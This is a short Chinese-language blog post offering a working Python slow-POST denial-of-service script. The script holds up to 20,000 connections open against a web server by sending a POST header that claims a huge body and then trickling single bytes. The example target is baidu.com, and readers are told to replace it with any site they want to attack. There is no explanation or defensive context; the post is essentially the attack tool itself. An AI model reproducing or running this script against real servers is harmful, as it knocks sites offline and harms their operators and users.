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Python黑客 DDoS
怎么进行DDoS?我来帮你解答!
DDoS攻击!
就给个代码吧!太懒,不想解释
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(10)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
试试,把baidu.com改成你要攻的,就行了。
你会发现:
senf OK!,no=1
senf OK!,no=2
…
说明,Python在帮你攻击了!